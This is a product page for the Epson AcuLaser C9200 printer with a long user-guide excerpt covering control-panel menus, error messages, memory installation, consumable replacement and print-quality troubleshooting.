we at Stock Options Channel refer to as the
YieldBoost
), for a total of 19.5% annualized rate in the scenario where the
stock is not called away. Any upside above $11 would be lost if the
stock rises there and is called away, but NLY shares would have to
climb 1.1% from current levels for that to happen, meaning that in
the scenario where the stock is called, the shareholder has earned
a 5% return from this trading level, in addition to any dividends
collected before the stock was called.
Top YieldBoost N? | http://www.nasdaq.com/article/one-put-one-call-option-to-know-about-for-annaly-capital-management-cm323052 | CC-MAIN-2015-48 | refinedweb | 257 | 58.62 |
Get the highlights in your inbox every week.
Functional programming in Python: Immutable data structures
Functional programming in Python: Immutable data structures
Immutability can help us better understand our code. Here's how to achieve it without sacrificing performance.
Subscribe now
In this two-part series, I will discuss how to import ideas from the functional programming methodology into Python in order to have the best of both worlds.
This first post will explore how immutable data structures can help. The second part will explore higher-level functional programming concepts in Python using the toolz library.Why functional programming? Because mutation is hard to reason about. If you are already convinced that mutation is problematic, great. If you're not convinced, you will be by the end of this post.
Let's begin by considering squares and rectangles. If we think in terms of interfaces, neglecting implementation details, are squares a subtype of rectangles?
The definition of a subtype rests on the Liskov substitution principle. In order to be a subtype, it must be able to do everything the supertype does.
How would we define an interface for a rectangle?
from zope.interface import Interface
class IRectangle(Interface):
def get_length(self):
"""Squares can do that"""
def get_width(self):
"""Squares can do that"""
def set_dimensions(self, length, width):
"""Uh oh"""
If this is the definition, then squares cannot be a subtype of rectangles; they cannot respond to a
set_dimensions method if the length and width are different.
A different approach is to choose to make rectangles immutable.
class IRectangle(Interface):
def get_length(self):
"""Squares can do that"""
def get_width(self):
"""Squares can do that"""
def with_dimensions(self, length, width):
"""Returns a new rectangle"""
Now, a square can be a rectangle. It can return a new rectangle (which would not usually be a square) when
with_dimensions is called, but it would not stop being a square.
This might seem like an academic problem—until we consider that squares and rectangles are, in a sense, a container for their sides. After we understand this example, the more realistic case this comes into play with is more traditional containers. For example, consider random-access arrays.
We have
ISquare and
IRectangle, and
ISquare is a subtype of
IRectangle.
We want to put rectangles in a random-access array:
class IArrayOfRectangles(Interface):
def get_element(self, i):
"""Returns Rectangle"""
def set_element(self, i, rectangle):
"""'rectangle' can be any IRectangle"""
We want to put squares in a random-access array too:
class IArrayOfSquare(Interface):
def get_element(self, i):
"""Returns Square"""
def set_element(self, i, square):
"""'square' can be any ISquare"""
Even though
ISquare is a subtype of
IRectangle, no array can implement both
IArrayOfSquare and
IArrayOfRectangle.
Why not? Assume
bucket implements both.
>>> rectangle = make_rectangle(3, 4)
>>> bucket.set_element(0, rectangle) # This is allowed by IArrayOfRectangle
>>> thing = bucket.get_element(0) # That has to be a square by IArrayOfSquare
>>> assert thing.height == thing.width
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
AssertionError
Being unable to implement both means that neither is a subtype of the other, even though
ISquare is a subtype of
IRectangle. The problem is the
set_element method: If we had a read-only array,
IArrayOfSquare would be a subtype of
IArrayOfRectangle.
Mutability, in both the mutable
IRectangle interface and the mutable
IArrayOf* interfaces, has made thinking about types and subtypes much more difficult—and giving up on the ability to mutate meant that the intuitive relationships we expected to have between the types actually hold.
Mutation can also have non-local effects. This happens when a shared object between two places is mutated by one. The classic example is one thread mutating a shared object with another thread, but even in a single-threaded program, sharing between places that are far apart is easy. Consider that in Python, most objects are reachable from many places: as a module global, or in a stack trace, or as a class attribute.
If we cannot constrain the sharing, we might think about constraining the mutability.
Here is an immutable rectangle, taking advantage of the attrs library:
@attr.s(frozen=True)
class Rectange(object):
length = attr.ib()
width = attr.ib()
@classmethod
def with_dimensions(cls, length, width):
return cls(length, width)
Here is a square:
@attr.s(frozen=True)
class Square(object):
side = attr.ib()
@classmethod
def with_dimensions(cls, length, width):
return Rectangle(length, width)
Using the
frozen argument, we can easily have
attrs-created classes be immutable. All the hard work of writing
__setitem__ correctly has been done by others and is completely invisible to us.
It is still easy to modify objects; it's just nigh impossible to mutate them.
too_long = Rectangle(100, 4)
reasonable = attr.evolve(too_long, length=10)
The Pyrsistent package allows us to have immutable containers.
# Vector of integers
a = pyrsistent.v(1, 2, 3)
# Not a vector of integers
b = a.set(1, "hello")
While
b is not a vector of integers, nothing will ever stop
a from being one.
What if
a was a million elements long? Is
b going to copy 999,999 of them? Pyrsistent comes with "big O" performance guarantees: All operations take
O(log n) time. It also comes with an optional C extension to improve performance beyond the big O.
For modifying nested objects, it comes with a concept of "transformers:"
blog = pyrsistent.m(
title="My blog",
links=pyrsistent.v("github", "twitter"),
posts=pyrsistent.v(
pyrsistent.m(title="no updates",
content="I'm busy"),
pyrsistent.m(title="still no updates",
content="still busy")))
new_blog = blog.transform(["posts", 1, "content"],
"pretty busy")
new_blog will now be the immutable equivalent of
{'links': ['github', 'twitter'],
'posts': [{'content': "I'm busy",
'title': 'no updates'},
{'content': 'pretty busy',
'title': 'still no updates'}],
'title': 'My blog'}
But
blog is still the same. This means anyone who had a reference to the old object has not been affected: The transformation had only local effects.
This is useful when sharing is rampant. For example, consider default arguments:
def silly_sum(a, b, extra=v(1, 2)):
extra = extra.extend([a, b])
return sum(extra)
In this post, we have learned why immutability can be useful for thinking about our code, and how to achieve it without an extravagant performance price. Next time, we will learn how immutable objects allow us to use powerful programming constructs. | https://opensource.com/article/18/10/functional-programming-python-immutable-data-structures | CC-MAIN-2019-35 | refinedweb | 1,050 | 56.25 |
/* Machine-independent support for SVR4 /proc (process file system) Copyright 1999, 2000, 2004 Free Software Foundation, Inc. Written by Michael Snyder at Cygnus Solutions. Based on work by Fred Fish, Stu Grossman, Geoff Noer," #ifdef NEW_PROC_API #define _STRUCTURED_PROC 1 #endif #include <stdio.h> #include <sys/types.h> #include <sys/procfs.h> #include "proc-utils.h" /* Much of the information used in the /proc interface, particularly for printing status information, is kept as tables of structures of the following form. These tables can be used to map numeric values to their symbolic names and to a string that describes their specific use. */ struct trans { int value; /* The numeric value. */ char *name; /* The equivalent symbolic value. */ char *desc; /* Short description of value. */ }; /* Translate values in the pr_why field of a `struct prstatus' or `struct lwpstatus'. */ static struct trans pr_why_table[] = { #if defined (PR_REQUESTED) /* All platforms. */ { PR_REQUESTED, "PR_REQUESTED", "Directed to stop by debugger via P(IO)CSTOP or P(IO)CWSTOP" }, #endif #if defined (PR_SIGNALLED) /* All platforms. */ { PR_SIGNALLED, "PR_SIGNALLED", "Receipt of a traced signal" }, #endif #if defined (PR_SYSENTRY) /* All platforms. */ { PR_SYSENTRY, "PR_SYSENTRY", "Entry to a traced system call" }, #endif #if defined (PR_SYSEXIT) /* All platforms. */ { PR_SYSEXIT, "PR_SYSEXIT", "Exit from a traced system call" }, #endif #if defined (PR_JOBCONTROL) /* All platforms. */ { PR_JOBCONTROL, "PR_JOBCONTROL", "Default job control stop signal action" }, #endif #if defined (PR_FAULTED) /* All platforms. */ { PR_FAULTED, "PR_FAULTED", "Incurred a traced hardware fault" }, #endif #if defined (PR_SUSPENDED) /* Solaris and UnixWare. */ { PR_SUSPENDED, "PR_SUSPENDED", "Process suspended" }, #endif #if defined (PR_CHECKPOINT) /* Solaris only. */ { PR_CHECKPOINT, "PR_CHECKPOINT", "Process stopped at checkpoint" }, #endif #if defined (PR_FORKSTOP) /* OSF/1 only. */ { PR_FORKSTOP, "PR_FORKSTOP", "Process stopped at end of fork call" }, #endif #if defined (PR_TCRSTOP) /* OSF/1 only. */ { PR_TCRSTOP, "PR_TCRSTOP", "Process stopped on thread creation" }, #endif #if defined (PR_TTSTOP) /* OSF/1 only. */ { PR_TTSTOP, "PR_TTSTOP", "Process stopped on thread termination" }, #endif #if defined (PR_DEAD) /* OSF/1 only. */ { PR_DEAD, "PR_DEAD", "Process stopped in exit system call" }, #endif }; /* Pretty-print the pr_why field of a `struct prstatus' or `struct lwpstatus'. */ void proc_prettyfprint_why (FILE *file, unsigned long why, unsigned long what, int verbose) { int i; if (why == 0) return; for (i = 0; i < ARRAY_SIZE (pr_why_table); i++) if (why == pr_why_table[i].value) { fprintf (file, "%s ", pr_why_table[i].name); if (verbose) fprintf (file, ": %s ", pr_why_table[i].desc); switch (why) { #ifdef PR_REQUESTED case PR_REQUESTED: break; /* Nothing more to print. */ #endif #ifdef PR_SIGNALLED case PR_SIGNALLED: proc_prettyfprint_signal (file, what, verbose); break; #endif #ifdef PR_FAULTED case PR_FAULTED: proc_prettyfprint_fault (file, what, verbose); break; #endif #ifdef PR_SYSENTRY case PR_SYSENTRY: fprintf (file, "Entry to "); proc_prettyfprint_syscall (file, what, verbose); break; #endif #ifdef PR_SYSEXIT case PR_SYSEXIT: fprintf (file, "Exit from "); proc_prettyfprint_syscall (file, what, verbose); break; #endif #ifdef PR_JOBCONTROL case PR_JOBCONTROL: proc_prettyfprint_signal (file, what, verbose); break; #endif #ifdef PR_DEAD case PR_DEAD: fprintf (file, "Exit status: %ld\n", what); break; #endif default: fprintf (file, "Unknown why %ld, what %ld\n", why, what); break; } fprintf (file, "\n"); return; } fprintf (file, "Unknown pr_why.\n"); } void proc_prettyprint_why (unsigned long why, unsigned long what, int verbose) { proc_prettyfprint_why (stdout, why, what, verbose); } | http://opensource.apple.com/source/gdb/gdb-1344/src/gdb/proc-why.c | CC-MAIN-2014-41 | refinedweb | 483 | 56.55 |
scopt 3.0
scopt is a little command line options parsing library.
Today, I'm releasing scopt 3.0. If you're not interested in the implementation details, skip to the readme.
Around March 4th, 2010, I became a committer to scopt, a fork of Aaron Harnly's scala-options that was written in 2008. I think I wanted to make a few changes around the usage text, key=value options, and argument list. Since then I've been fielding all the bug reports, including the request to publish the jar on scala-tools.org. On March 18, 2012, I forked the project again to scopt/scopt and released scopt 2.0.0 that added immutable parser.
After years of adding features on top of the other, I decided to rewrite scopt3 from scratch. The tipping point was Leif Wickland asking if there's a "philosophical reason that scopt doesn't have an
intArg().".
Inspired by Ruby's OptionParser, Aaron's original scala-options had 5 methods for options:
onInt,
onDouble,
onBoolean,
on, and another overload of
on. Over the course of its development, scopt2 has accumulated 6 overloads of
opt method, 4 each of
intOpt,
doubleOpt,
booleanOpt,
keyValueOpt,
keyIntValueOpt,
keyDoubleValueOpt, and
keyBooleanValueOpt. That's total of 34 methods! I have no one else to blame for this but myself since overloads were added by me to support optional parameters like optional short names and value names. I couldn't bare the thought of more expansion.
adhoc polymorphism with Read
Something that's been bugging me was the code duplication for each data type of options that it supports like
Int and
String. This is working around the fact that
String => Unit and
Int => Unit cannot be distinguished after type erasure.
Instead of duplicating the code, adhoc polymorphism using
Read typeclass can at least express the implemtation in one shot. From the user's point of view,
opt[Int] I think is cleaner than
intOpt.
After commenting out all the code, I started with
Read:
trait Read[A] { def reads: String => A } object Read { def reads[A](f: String => A): Read[A] = new Read[A] { val reads = f } implicit val intRead: Read[Int] = reads { _.toInt } implicit val stringRead: Read[String] = reads { identity } implicit val doubleRead: Read[Double] = reads { _.toDouble } implicit val booleanRead: Read[Boolean] = reads { _.toLowerCase match { case "true" => true case "false" => false case "yes" => true case "no" => false case "1" => true case "0" => false case s => throw new IllegalArgumentException("'" + s + "' is not a boolean.") }} }
This a typeclass expressing the ability to convert from
String. Using this, I replaced all data type specific case classes with this generic one.
class OptionDef[A: Read, C]() { ... }
fluent interface
To address the overloading caused by optional arguments, I implemented a fluent interface on
OptionDef class. The parser would provide minimal methods to get started.
/** adds an option invoked by `--name x`. * @param name name of the option */ def opt[A: Read](name: String): OptionDef[A, C] = makeDef(Opt, name) /** adds an option invoked by `-x value` or `--name value`. * @param x name of the short option * @param name name of the option */ def opt[A: Read](x: Char, name: String): OptionDef[A, C] = opt[A](name) shortOpt(x)
The parameter type for the short option was changed from
String to
Char to support grouping (
-la is interpretted as
-l -a for plain flags). The rest of the parameters like the callbacks and desctiption can be passed in later as methods on
OptionDef:
opt[Int]("foo") action { (x, c) => c.copy(foo = x) } text("foo is an integer property") opt[File]('o', "out") valueName("<file>") action { (x, c) => c.copy(out = x) } text("out is a string property")
In the above
text("...") and
action {...} are both methods on
OptionDef[A, C] that returns another
OptionDef[A, C]:
/** Adds description in the usage text. */ def text(x: String): OptionDef[A, C] = _parser.updateOption(copy(_desc = x)) /** Adds value name used in the usage text. */ def valueName(x: String): OptionDef[A, C] = _parser.updateOption(copy(_valueName = Some(x)))
Using
Read and fluent interface, 34 methods were reduced to just two overloads. This is much easier to remember as an API. More importantly, the resulting usage code easier to guess for someone who is reading it for the first time.
deriving Read instances from other instances
A powerful aspect of typeclass is that you can define an abstract instance that derives an instance using existing instances. Key=value instance is implemented as a pair of two
Read instances as follows:
implicit def tupleRead[A1: Read, A2: Read]: Read[(A1, A2)] = new Read[(A1, A2)] { val arity = 2 val reads = { (s: String) => splitKeyValue(s) match { case (k, v) => implicitly[Read[A1]].reads(k) -> implicitly[Read[A2]].reads(v) } } } private def splitKeyValue(s: String): (String, String) = s.indexOf('=') match { case -1 => throw new IllegalArgumentException("Expected a key=value pair") case n: Int => (s.slice(0, n), s.slice(n + 1, s.length)) }
Now not only this can parse
String=Int as scopt2, it can parse
Int=Boolean etc. Here's a usage example.
opt[(String, Int)]("max") action { case ((k, v), c) => c.copy(libName = k, maxCount = v) } validate { x => if (x._2 > 0) success else failure("Value <max> must be >0") } keyValueName("<libname>", "<max>") text("maximum count for <libname>")
more Read
Since the API footprint is not going to expand for each datatype, I've added more data types:
Long,
BigInt,
BigDecimal,
Calendar,
File, and
URI.
Read was modified a bit to support plain flags that do not take any values as
opt[Unit]("verbose"):
implicit val unitRead: Read[Unit] = new Read[Unit] { val arity = 0 val reads = { (s: String) => () } }
specs2 2.0 (RC-1)
You don't want to fly blind when you rewrite a library. scopt3 has more lines in specs2 2.0 specs than the code itself. The newly added string interpolation makes it much easier to write acceptance specs. Here's an excerpt from the ImmutableParserSpec:
class ImmutableParserSpec extends Specification { def is = s2""" This is a specification to check the immutable parser opt[Int]('f', "foo") action { x => x } should parse 1 out of --foo 1 ${intParser("--foo", "1")} parse 1 out of --foo:1 ${intParser("--foo:1")} parse 1 out of -f 1 ${intParser("-f", "1")} parse 1 out of -f:1 ${intParser("-f:1")} fail to parse --foo ${intParserFail{"--foo"}} fail to parse --foo bar ${intParserFail("--foo", "bar")} """ val intParser1 = new scopt.OptionParser[Config]("scopt") { head("scopt", "3.x") opt[Int]('f', "foo") action { (x, c) => c.copy(intValue = x) } } def intParser(args: String*) = { val result = intParser1.parse(args.toSeq, Config()) result.get.intValue === 1 } def intParserFail(args: String*) = { val result = intParser1.parse(args.toSeq, Config()) result === None }
occurrences
With
Read in place, polymorphic arguments came almost automatically.
arg[File]("<out>") parses a
File, and
arg[Int]("<port>") parses an
Int.
scopt2 implemented four variations of arguments:
arg,
argOpt,
arglist, and
arglistOpt. To reduce the API footprint, scopt3 just implements
arg[A: Read](name: String): OptionDef[A, C], and supports the others using fluent-style methods
def minOccurs(n: Int) and
def maxOccurs(n: Int). Using these, "syntactic sugars" are provided to the DSL:
/** Requires the option to appear at least once. */ def required(): OptionDef[A, C] = minOccurs(1) /** Chanages the option to be optional. */ def optional(): OptionDef[A, C] = minOccurs(0) /** Allows the argument to appear multiple times. */ def unbounded(): OptionDef[A, C] = maxOccurs(UNBOUNDED)
As the result, scopt3 supports not only optional argument lists, but also required options:
opt[String]('o', "out") required() arg[String]("<file>...") optional() unbounded()
custom validation
Expanding the fluent interface, scopt3 also adds custom validation:
opt[Int]('f', "foo") action { (x, c) => c.copy(intValue = x) } validate { x => if (x > 0) success else failure("Option --foo must be >0") } validate { x => failure("Just because") }
Multiple validation clauses are all evaluated, and recognized as successful only when all evaluates to
success.
unification of immutable and mutable parser
In scopt2, the implementation was split into three packages:
generic,
immutable, and
mutable. I kept up the same structure for a while, but it became harder for me to justify having two parser implementations. The point of the immutable parser is to provide immutable usage of the parser. That does not mean that the implementation of the parser needs to be immutable.
In scopt3, immutable parsing is supported using
action method:
opt[Int]('f', "foo") action { (x, c) => c.copy(foo = x) } text("foo is an integer property")
and mutable parsing is support using
foreach method:
opt[Int]('f', "foo") foreach { x => c = c.copy(foo = x) } text("foo is an integer property")
The internal structure is unified to the mutable parser. It's a bit of a compromise, but it's better than having two DSL cakes that are slightly different in semantics.
commands
One of the motivating factor to unify the parsers was the addition on commands. This is a feature to allow something like
git [commit|push|pull] where the name of the argument means something, and could enable series of options based on it.") )
As scopt3 progressed, I got many useful feedback from Leif in the form of tweets and commit comments. For example efe45ed:
One problem with the way you've defined Cmd is that it's not positional. The parser wants to find an argument with cmd's name anywhere in the line. That leads to ambiguities if there are optional (or unbounded) arguments in the definition of the parser's options. [...]
After considering this, the command was changed so it's only valid as the first argument within the level, and all other commands are cleared as soon as a command, an option, or an argument is hit.
putting it all together
Here's an example of how to use scopt3:
val parser = new scopt.OptionParser[Config]("scopt") { head("scopt", "3.x") opt[Int]('f', "foo") action { (x, c) => c.copy(foo = x) } text("foo is an integer property") opt[File]('o', "out") required() valueName("<file>") action { (x, c) => c.copy(out = x) } text("out is a required file property") opt[(String, Int)]("max") action { case ((k, v), c) => c.copy(libName = k, maxCount = v) } validate { x => if (x._2 > 0) success else failure("Value <max> must be >0") } keyValueName("<libname>", "<max>") text("maximum count for <libname>") opt[Unit]("verbose") action { (_, c) => c.copy(verbose = true) } text("verbose is a flag") note("some notes.\n") help("help") text("prints this usage text") arg[File]("<file>...") unbounded() optional() action { (x, c) => c.copy(files = c.files :+ x) } text("optional unbounded args")") ) } // parser.parse returns Option[C] parser.parse(args, Config()) map { config => // do stuff } getOrElse { // arguments are bad, usage message will have been displayed }
As with scopt2, this automatically generates usage text:
scopt 3.x Usage: scopt [update] [options] [<file>...] -f <value> | --foo <value> foo is an integer property -o <file> | --out <file> out is a required file property --max:<libname>=<max> maximum count for <libname> --verbose verbose is a flag some notes. --help prints this usage text <file>... optional unbounded args Command: update update is a command. -nk | --not-keepalive disable keepalive --xyz <value> xyz is a boolean property
Feel free to open a github issue for bugs and questions. | http://eed3si9n.com/scopt3 | CC-MAIN-2017-51 | refinedweb | 1,871 | 55.84 |
The mktime() function is defined in <ctime> header file.
time_t mktime(tm* time);
The mktime function takes a pointer to a tm object as its argument and returns the time since epoch as a value of type
time_t. The values, time->tm_wday and time->tm_yday are ignored.
If the value of
time->tm_isdst is negative, it causes mktime to attempt to determine if Daylight Saving Time was in effect.
#include <iostream> #include <ctime> using namespace std; int main () { time_t tim; tm *ptr; int y = 2017, m = 4, d = 20; char weekday[7][20] = {"Sunday", "Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday"}; time(&tim); ptr = localtime(&tim); // tm_year is time since 1900 ptr->tm_year = y - 1900; ptr->tm_mon = m - 1; ptr->tm_mday = d; mktime (ptr); cout << "April 20, 2017 was " << weekday[ptr->tm_wday]; return 0; }
When you run the program, the output will be:
April 4, 2017 was a Thursday | https://cdn.programiz.com/cpp-programming/library-function/ctime/mktime | CC-MAIN-2019-51 | refinedweb | 148 | 52.53 |
Epson Aculaser C9200
Here you can find all about Epson Aculaser C9200 like driver and other informations. For example: price.
Epson Aculaser C9200 manual (user guide) is ready to download for free.
On the bottom of page users can write a review. If you own a Epson Aculaser C9200 please write about it to help other people. [ Report abuse or wrong photo | Share your Epson Aculaser C9200 photo ]
Manual
Preview of first few manual pages (at low quality). Check before download. Click to enlarge.
Epson Aculaser C9200
User reviews and opinions
No opinions have been provided. Be the first and add a new opinion/review.
Documents
USB Menu
Item USB I/F*1 USB Speed*1 *2 Get IP Address*2 *3 IP*2 *3 *4 *5 SM*2 *3 GW*2 *3 NetWare*2 *3 AppleTalk*2 *3 MS Network*2 *3 Bonjour*2 *3 USB Ext I/F Init*2 *3 Buffer Size*1 *2 Settings (default in bold) On, Off HS, FS Auto, PING, Panel 0.0.0.1 to 255.255.255.254 0.0.0.0 to 255.255.255.255 0.0.0.0 to 255.255.255.255 On, Off On, Off On, Off On, Off Normal, Maximum, Minimum
*1 After this item is changed, the setting value takes effect after a warm boot or after the power is turned on again. While
it is reflected in the Status Sheet and EJL read-back, the actual change takes effect after a warm boot or after the power is turned on again.
*2 Available only whenUSB
I/F is set to On.
*3 Available only when a USB external device with D4 support is connected. The contents of the settings depend on the
USB external device settings.
*4 If theGet
IPAddress setting is set to Auto, this setting cannot be changed.
*5 When theGet
IPAddress setting is changed from Panel or PING to Auto, the panel setting values are saved. Then Auto is changed back to Panel or PING, the saved setting values are displayed. The value is set to 192.168.192.168 if the settings are not made from the panel.
USB I/F Allows you to activate or deactivate the USB interface. USB Speed Allows you to select the operation mode of USB interface. Selecting HS is recommended. Select FS if HS does not work on your computer system.
Buffer Size Determines the amount of memory to be used for receiving data and printing data. If Maximum is selected, more memory is allocated for receiving data. If Minimum is selected, more memory is allocated for printing data. Note: To activate Buffer Size settings, you must turn off the printer for more than five seconds then turn it back on. Or, you can perform a Reset All operation, as explained in Reset Menu on page 91. Resetting the printer erases all print jobs. Make sure the Ready light is not flashing when you reset the printer.
Network Menu
See the Network Guide for each setting.
AUX Menu
PCL Menu
These settings are available in the PCL mode.
Item FontSource Font Number Pitch*2 Height*2 SymSet Settings (default in bold) Resident, Download*65535 (depending on your settings) 0.44 10.00 99.99 cpi in 0.01 cpi increment 4.00 12.00 999.75 pt in 0.25 pt increment IBM-US, Roman-8, Roman-9, ECM94-1, 8859-2 ISO, 8859-9 ISO, 8859-10ISO, 8859-15ISO, PcBlt775, IBM-DN, PcMultiling, PcE.Europe, PcTk437, PcEur858, Pc1004, WiAnsi, WiE.Europe, WiTurkish, WiBALT, DeskTop, PsText, VeInternati, VeUS, MsPublishin, Math-8, PsMath, VeMath, PiFont, Legal, UK, ANSI ASCII, Swedis2, Italian, Spanish, German, Norweg1, French2, Windows, McText, Hebrew7, 8859-8 ISO, Hebrew8, Arabic8, OCR A, OCR B, Pc866Cyr, Pc866Ukr, WinCyr, ISOCyr, Pc8Grk, Pc851Grk, WinGrk, ISOGrk, Greek8, Pc862Heb, Pc864Ara, HPWARA
I239X Menu
The I239X mode emulates IBM 2390/2391 Plus commands.
These settings are available only when the printer is in the I239X mode.
Item Font Pitch Code Page T. Margin Text Auto CR Auto LF Alt. Graphics Bit Image ZeroChar CharacterSet Settings (default in bold) Courier, Prestige, Gothic, Orator, Script, Presentor, Sans serif 10, 12, 15, 17, 20, 24 cpi, Prop. 437, 850, 858, 860, 863, 865 0.30. 0.40.1.50 inches in 0.05-inch increments 1. 67. 132 lines Off, On Off, On Off, On Dark, Light 0, (or the zero character with a slash) 1, 2
Font Selects the font. Pitch Selects the pitch (the horizontal spacing) of the font in fixed pitch, measured in cpi (characters per inch). You can also choose proportional spacing. Code Page Selects the character tables. Character tables contain the characters and symbols used by different languages. The printer prints text based on the selected character table. T. Margin Sets the distance from the top of the page to the baseline of the first printable line. The distance is measured in inches. The smaller the value, the closer the printable line is to the top. Text
Sets the page length in lines. For this option, a line is assumed to be 1 pica (1/6 inch). If you change the Orientation, Page Size, or T. Margin settings, the page length setting automatically returns to the default for each paper size. Auto CR Specifies whether the printer performs a carriage-return/line-feed (CR-LF) operation whenever the printing position goes beyond the right margin. If this setting is off, the printer does not print any characters beyond the right margin and does not perform any line wrapping until it receives a carriage-return character. This function is handled automatically by most applications. Auto LF If you select Off, the printer does not send an automatic line-feed (LF) command with each carriage-return (CR). If On is selected, a line-feed command is sent with each carriage-return. Select On if your text lines overlap. Alt.Graphics Turns the Alternate Graphics option on or off. Bit Image The printer is able to emulate the graphics densities set with the printer commands. If you select Dark, the bit image density is high, and if you select Light, the bit image density is low. If you select BarCode, the printer converts bit images to bar codes by automatically filling in any vertical gaps between dots. This produces unbroken vertical lines that can be read by a bar code reader. This mode will reduce the size of the image being printed, and may also cause some distortion when printing bit image graphics. ZeroChar Selects whether the printer prints a slashed or unslashed zero. CharacterSet Selects character table 1 or 2.
The feed roller C2, C3, or C4 has reached the end of its service life and needs to be replaced. If this error occurs, consult your dealer. Replace Fuser The fuser has reached the end of its service life and needs to be replaced. If this error occurs, consult your dealer. Replace Maintenance Unit The maintenance unit has reached the end of its service life and needs to be replaced. If this error occurs, consult your dealer. Replace Photocon uuuu The indicated photoconductor unit has reached the end of its service life and need to be replaced. Photoconductor Unit on page 165 for instructions. Replace Toner uuuu The indicated toner cartridge has reached the end of its service life and need to be replaced. See Toner Cartridge on page 161 for instructions. Replace Transfer Unit The transfer unit has reached the end of its service life and needs to be replaced. If this error occurs, consult your dealer. Replace Waste Toner Box The waste toner collector has reached the end of its service life and needs to be replaced. See Waste Toner Collector and Filter on page 170 for instructions. Reserve Job Canceled The printer cannot store the data of your print job using the Reserve Job function. The maximum number of print jobs stored on the printers memory has been reached, or the memory has no more memory available to store a new job. To store a new print job, delete a previously stored job. Also, if you have any Confidential Jobs stored, printing those jobs will make more memory available. You may also increase the available memory space by changing the RAM Disk setting to Normal or Maximum. For details, see Setup Menu on page 87.
To clear this error, select Clear Warning from the control panels Reset Menu. For instruction about accessing the control panel menus, see How to access the control panel menus on page 79. Reset The printers current interface has been reset and the buffer has been cleared. However, other interfaces are still active and retain their settings and data. Reset All All printer settings have been reset to the default configuration, or to the last settings that were saved. Reset to Save A control panel menu setting was changed while the printer was printing. Press the Start/Stop button to clear this message. The setting will become effective after printing has finished. Alternatively you can clear this message by performing Reset or Reset All on the control panel. However, the print data will be deleted. ROM CHECK The printer is checking the ROM. SELF TEST The printer is currently performing a self test and initialization. Service Req Cffff/Service Req Exxx A controller error or a print engine error has been detected. Turn off the printer. Wait at least 5 seconds, then turn it back on. If the error message still appears, write down the error number listed on the LCD panel (Cffff/Exxx), turn off the printer, unplug the power cord, then contact a qualified service representative. Set Release Lever to ppp Position The position of the release lever is incorrect. Open cover A and cover B, change the release lever position to ppp, and then close cover B and cover A. (The position Normal or Envelope appears in place of ppp.) Sleep
Installing a memory module
Warning: Be careful when working inside the printer as some components are sharp and may cause injury. Caution: Before you install a memory module, be sure to discharge any static electricity by touching a grounded piece of metal. Otherwise, you may damage static-sensitive components.
2. Loosen the two screws using a screwdriver. Then slide the left side cover upward and remove it.
3. Identify the RAM slot.
* expansion RAM slot
4. Confirm that the notch on the expansion memory module matches with that of the slot, and then firmly insert the top edge of the memory module into the slot until it stops. Then press both sides of the memory module down.
* notch
Caution: Do not force the memory module into the slot.
Be sure to insert the memory module facing the correct way. Do not remove any modules from the circuit board. Otherwise, the printer will not work. 5. Reattach the left side cover as shown below.
6. Fasten the left side cover with the two screws.
7. Reconnect the interface cable and power cord and turn the printer on. To confirm that the option is installed correctly, print a Status Sheet. See Printing a Configuration Status Sheet on page 195. Note for Windows users: If EPSON Status Monitor is not installed, you have to make settings manually in the printer driver. See Making Optional Settings on page 217. Note for Macintosh users: When you have attached or removed printer options, you need to delete the printer using Print & Fax (for Mac OS X 10.5) or Print Setup Utility (for Mac OS X 10.4 or below), and then re-register the printer.
Removing a memory module
Warning: Be careful when working inside the printer as some components are sharp and may cause injury. Caution: Before you remove a memory module, be sure to discharge any static electricity by touching a grounded piece of metal. Otherwise, you may damage static-sensitive components.
When removing the memory module from its slot, spread apart the clips on each side of the memory slot, and then slide the memory module out.
1. Open cover F.
2. Push the arrow part as shown below, and then pull out the toner cartridge.
Note: Place the removed toner cartridge face-down.
3. Take the new toner cartridge out of its package.
4. Shake the toner cartridge a few times gently.
5. Align the color marks on the toner cartridge with those of the printer, and then insert the toner cartridge all the way until it clicks.
Go to step 5 when replacing a black toner cartridge, go to step 7 when replacing other toner cartridges. 6. Remove the odor filter.
7. Install the new odor filter that comes with the black toner cartridge.
8. Close cover F.
Photoconductor Unit
Always observe the following handling precautions when replacing the consumable products: When replacing the photoconductor unit, avoid exposing it to room light any longer than necessary. Be careful not to scratch the surface of the drum. Also, avoid touching the drum, since oil from your skin may permanently damage its surface and affect print quality.
To get the best print quality, do not store the photoconductor unit in an area subject to direct sunlight, dust, salty air, or corrosive gases (such as ammonia). Avoid locations subject to extreme or rapid changes in temperature or humidity.
Warning: Do not dispose of the used consumable products in fire, as it may explode and cause injury. Dispose of it according to local regulations. Keep the consumable products out of the reach of children.
2. Press the projection on the photoconductor unit and slide it out slowly.
3. Shake the new photoconductor unit a few times gently before taking it out of its package.
4. Take the new photoconductor unit out of its package.
5. Remove the protective materials.
Caution: Do not remove the protective sheet on the top.
6. Align the color marks on the photoconductor unit with those of the printer, and then insert the photoconductor unit.
Note: Insert the photoconductor unit without removing the protective sheet even if it gets wrinkled. If the protective sheet comes off before inserting the photoconductor unit, remove it completely first.
7. Pull out the protective sheet by the orange handle.
8. Press the photoconductor unit all the way until it locks.
Caution: Do not scratch the surface of the drum. Also, avoid touching the drum, since oil from your skin may permanently damage its surface and affect print quality.
Color Printing Problems
Cannot print in color
Cause Black is selected as the Color setting in the printer driver. The color setting in the application you are using is not appropriate for color printing. What to do Change this setting to Color. Make sure that the settings in your application are appropriate for color printing.
The printout color differs when printed from different printers
Cause Printer driver default settings and color tables vary by printer model. What to do Set the Gamma setting to 1.8 in the More Settings dialog box (for Windows and Mac OS X 10.4 or below) or Color Settings button (for Mac OS X 10.5) in the printer driver, then print again. If you still do not get the printouts you expect, adjust the color using the slide bar for each color. For details about the More Settings dialog box, see the printer drivers online help.
The color looks different from what you see on the computer screen
Cause Printed colors do not exactly match the colors on your monitor, since printers and monitors use different color systems: monitors use RGB (red, green, and blue), while printers typically use CMYK (cyan, magenta, yellow, and black). PhotoEnhance may be selected in the printer driver. What to do Although it is difficult to match colors perfectly, selecting the printer drivers ICM setting (for Windows) or ColorSync setting (for Macintosh) can improve color matching between different devices. For details, see the printer drivers online help.
The PhotoEnhance feature corrects the contrast and brightness of the original image data, and so may not be suitable for printing vivid images.
Print Quality Problems
The background is dark or dirty
Cause You may not be using the correct type of paper for your printer. What to do If the surface of your paper is too rough, printed characters may appear distorted or broken. Smooth, high-quality copier paper is recommended for best results. See Available paper types on page 252 for information on choosing paper. Clean internal printer components by printing three pages with only one character per page.
